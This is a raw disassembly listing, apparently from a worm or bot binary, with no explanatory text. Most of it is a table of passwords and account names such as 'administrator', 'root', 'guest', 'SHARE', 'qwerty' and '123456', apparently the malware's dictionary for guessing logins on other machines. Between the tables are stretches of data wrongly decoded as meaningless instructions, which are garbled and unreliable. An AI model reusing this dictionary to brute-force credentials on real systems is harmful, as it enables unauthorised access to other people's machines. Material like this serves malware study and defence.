		add	ah, ah
		sti
		inc	edx
		add	ah, bl
		sti
		inc	edx
		add	ah, dl
		sti
		inc	edx
		add	ah, cl
		sti
		inc	edx
		add	ah, al
		sti
		inc	edx
		add	[ebx+edi*8-44FFFBEh], bh
		inc	edx
		add	[eax-5FFFBD05h], ch
		sti
		inc	edx
		add	[eax-6FFFBD05h], bl
		sti
		inc	edx
		add	[ebx+edi*8-483FFBEh], al
		inc	edx
		add	[ebx+edi*8+42h], dh
		add	[eax-5], ch
		inc	edx
		add	[eax-5], ah
		inc	edx
		add	[eax-5], bl
		inc	edx
		add	[eax-5], dl
		inc	edx
		add	[ebx+edi*8+42h], al
		add	[ebx+edi*8], bh
		inc	edx
		add	[ebx+edi*8], dh
		inc	edx
		add	[ebx+edi*8], ch
		inc	edx
		add	[ebx+edi*8], ah
		inc	edx
		add	[ebx+edi*8], bl
		inc	edx
		add	[eax], dl
		sti
		inc	edx
		add	[eax], cl
		sti
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F3C8
		dd offset dword_42F3C4
		dd offset dword_42F3C0
		dd offset dword_42F3BC
		dd offset dword_42F3B4
		dd offset dword_42F3AC
		dd offset dword_42F3A4
		dd offset dword_42F398
		dd offset loc_4263DB+1
		dd offset dword_42F394
		dd offset off_42F390
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F384	; "+"
		dd offset asc_42F380	; "++"
		dd offset asc_42F37C	; "+++"
		dd offset asc_42F374	; "++++"
		dd offset asc_42F370	; "-"
		dd offset asc_42F36C	; "--"
		dd offset asc_42F36C	; "--"
		dd offset asc_42F364	; "----"
		dd offset asc_42F360	; "-+"
		dd offset asc_42F358	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F340	; "$"
		dd offset asc_42F33C	; "$$"
		dd offset asc_42F338	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		db 0DCh, 2Bh
; ---------------------------------------------------------------------------


loc_42DFCA:				; CODE XREF: seg002:0042DFD0j
		inc	ebx
		add	ah, dl
		sub	eax, [ebx+0]
		jo	short loc_42DFCA
		inc	edx
		add	al, bh
; ---------------------------------------------------------------------------
		db 0F2h, 42h, 0
		dd offset a0000000000	; "0000000000"
		dd offset asc_426C98	; "*"
		dd offset asc_42F2E8	; "**"
		dd offset asc_42F2E4	; "***"
		dd offset asc_42F2DC	; "****"
		dd offset asc_42F2D4	; "*****"
		dd offset asc_42F2CC	; "******"
		dd offset asc_42F2C4	; "*******"
		dd offset asc_42F2B8	; "********"
		dd offset asc_42F2AC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota	; "TOYOTA"
		dd offset aToyota_0	; "toyota"
		dd offset asc_432C44	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
; ---------------------------------------------------------------------------
		or	ah, ch
		inc	edx
		add	ah, al
		test	byte ptr [edx+0], 98h
		sub	eax, 0EC000043h
		inc	edx
		add	al, bh
		jmp	short loc_42E491
; ---------------------------------------------------------------------------
		align 10h
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	ah, dl
		jmp	short loc_42E4A1
; ---------------------------------------------------------------------------
		align 10h
		shr	bl, 1
		inc	edx
		add	ah, cl
		jmp	short loc_42E4A9
; ---------------------------------------------------------------------------
		align 4
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042EBh
		jmp	short loc_42E4BD
; ---------------------------------------------------------------------------
		align 4
		lodsb
		jmp	short loc_42E4C1
; ---------------------------------------------------------------------------
		align 10h
		movsb
		jmp	short loc_42E4C5
; ---------------------------------------------------------------------------
		align 4
		pushf
		jmp	short loc_42E4C9
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		db 80h
; ---------------------------------------------------------------------------


loc_42E491:				; CODE XREF: seg002:0042E44Dj
		jmp	short loc_42E4D5
; ---------------------------------------------------------------------------
		align 4
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		db 68h
; ---------------------------------------------------------------------------


loc_42E4A1:				; CODE XREF: seg002:0042E45Dj
		jmp	short loc_42E4E5
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccccc	; "cccccc"
; ---------------------------------------------------------------------------
		pop	eax


loc_42E4A9:				; CODE XREF: seg002:0042E465j
		jmp	short loc_42E4ED
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccccccc	; "cccccccc"
; ---------------------------------------------------------------------------
		inc	eax
		jmp	short loc_42E4F5
; ---------------------------------------------------------------------------
		align 4
		cmp	al, 0EBh
		inc	edx
		add	[eax], bh
		jmp	short near ptr loc_42E4FC+1
; ---------------------------------------------------------------------------
		align 4
		db 34h
; ---------------------------------------------------------------------------


loc_42E4BD:				; CODE XREF: seg002:0042E479j
		jmp	short loc_42E501
; ---------------------------------------------------------------------------
		align 10h
		db 2Ch
; ---------------------------------------------------------------------------


loc_42E4C1:				; CODE XREF: seg002:0042E47Dj
		jmp	short near ptr loc_42E501+4
; ---------------------------------------------------------------------------
		align 4
		db 24h
; ---------------------------------------------------------------------------


loc_42E4C5:				; CODE XREF: seg002:0042E481j
		jmp	short loc_42E509
; ---------------------------------------------------------------------------
		align 4
		db 20h
; ---------------------------------------------------------------------------


loc_42E4C9:				; CODE XREF: seg002:0042E485j
		jmp	short near ptr loc_42E509+4
; ---------------------------------------------------------------------------
		align 4
		sbb	al, 0EBh
		inc	edx
		add	[eax], bl
		jmp	short near ptr byte_42E515
; ---------------------------------------------------------------------------
		align 4
		db 10h
; ---------------------------------------------------------------------------


loc_42E4D5:				; CODE XREF: seg002:loc_42E491j
		jmp	short loc_42E519
; ---------------------------------------------------------------------------
		align 4
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
; ---------------------------------------------------------------------------
		cld


loc_42E4E5:				; CODE XREF: seg002:loc_42E4A1j
		jmp	far ptr	42h:0EAF40042h
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------


loc_42E4ED:				; CODE XREF: seg002:loc_42E4A9j
		jmp	far ptr	42h:0EAE40042h
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------


loc_42E4F5:				; CODE XREF: seg002:0042E4B1j
		jmp	far ptr	42h:0EADC0042h
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: seg002:0042E4B9j
		fsubr	st, st(2)
		inc	edx
		add	al, dl


loc_42E501:				; CODE XREF: seg002:loc_42E4BDj
					; seg002:loc_42E4C1j
		jmp	far ptr	42h:0EAC80042h
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_42E509:				; CODE XREF: seg002:loc_42E4C5j
					; seg002:loc_42E4C9j
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		dd offset aHh		; "hh"
		db 0B4h
byte_42E515	db 0EAh, 42h, 0		; CODE XREF: seg002:0042E4D1j
; ---------------------------------------------------------------------------
		lodsb


loc_42E519:				; CODE XREF: seg002:loc_42E4D5j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42EA2C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs_1		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd 0
dword_42E784	dd 10h							; seg000:0040D9B5r ...
a142536		db '142536',0           ; DATA XREF: seg002:0042E708o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg002:0042E704o
		align 4
a951753		db '951753',0           ; DATA XREF: seg002:0042E700o
		align 10h
a159357		db '159357',0           ; DATA XREF: seg002:0042E6FCo
		align 4
a753159		db '753159',0           ; DATA XREF: seg002:0042E6F8o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg002:0042E6F4o
		align 4
a2684		db '2684',0             ; DATA XREF: seg002:0042E6F0o
		align 10h
a2486		db '2486',0             ; DATA XREF: seg002:0042E6ECo
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:0042E6E8o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg002:0042E6E4o
